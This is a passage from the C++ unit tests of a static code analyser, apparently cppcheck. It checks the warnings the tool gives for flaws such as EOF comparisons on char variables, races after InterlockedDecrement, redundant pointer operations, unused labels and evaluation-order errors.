ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = 